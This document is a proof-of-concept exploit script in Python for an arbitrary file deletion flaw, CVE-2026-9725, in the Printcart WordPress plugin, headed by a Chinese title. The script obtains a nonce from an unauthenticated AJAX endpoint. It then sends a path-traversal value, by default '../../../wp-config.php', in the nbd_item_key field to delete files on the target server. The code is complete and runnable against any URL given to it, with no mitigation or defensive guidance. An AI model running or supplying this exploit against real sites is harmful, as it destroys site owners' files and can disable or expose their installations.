CVE-2026-9725：WordPress Printcart插件任意文件删除漏洞

#!/usr/bin/env python3 """ CVE-2026-9725 PoC - Printcart Web to Print Product Designer Arbitrary File Deletion This PoC demonstrates how an unauthenticated attacker can exploit the path traversal vulnerability in the store_design_data() function to delete arbitrary files. """ import requests import sys import re TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com" FILE_TO_DELETE = sys.argv[2] if len(sys.argv) > 2 else "../../../wp-config.php" def get_nonce(session, target_url): """Step 1: Obtain the CSRF nonce from nbd_check_use_logged_in endpoint.""" # The nbd_check_use_logged_in endpoint freely provides the nonce # without requiring authentication nonce_url = f"{target_url}/wp-admin/admin-ajax.php" params = {"action": "nbd_check_use_logged_in"} resp = session.get(nonce_url, params=params) # Extract nonce from response (it may be in JSON or HTML) match = re.search(r'nonce["\s:]+([a-f0-9]+)', resp.text, re.IGNORECASE) if match: return match.group(1) # Try JSON response try: data = resp.json() return data.get("nonce", data.get("data", {}).get("nonce")) except Exception: return resp.text.strip().strip('"') def exploit_file_deletion(session, target_url, nonce, target_file): """Step 2: Send malicious request to delete arbitrary file via path traversal.""" ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Craft payload with path traversal in nbd_item_key parameter # The sanitize_text_field() does NOT strip ../ sequences payload = { "action": "nbd_save_customer_design", "nonce": nonce, "nbd_item_key": target_file, # Path traversal payload "product_id": "1", "design_id": "1" } resp = session.post(ajax_url, data=payload) print(f"[*] Exploit response status: {resp.status_code}") print(f"[*] Response body: {resp.text[:500]}") return resp def main(): print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Target file to delete: {FILE_TO_DELETE}") session = requests.Session() # Step 1: Obtain nonce from unauthenticated endpoint print("[*] Step 1: Obtaining CSRF nonce from nbd_check_use_logged_in...") nonce = get_nonce(session, TARGET_URL) print(f"[+] Nonce obtained: {nonce}") # Step 2: Send crafted request to trigger arbitrary file deletion print("[*] Step 2: Sending malicious request to nbd_save_customer_design...") resp = exploit_file_deletion(session, TARGET_URL, nonce, FILE_TO_DELETE) if resp.status_code == 200: print("[+] Exploit completed. Target file may have been deleted.") else: print("[-] Exploit may have failed. Check the response above.") if __name__ == "__main__": main()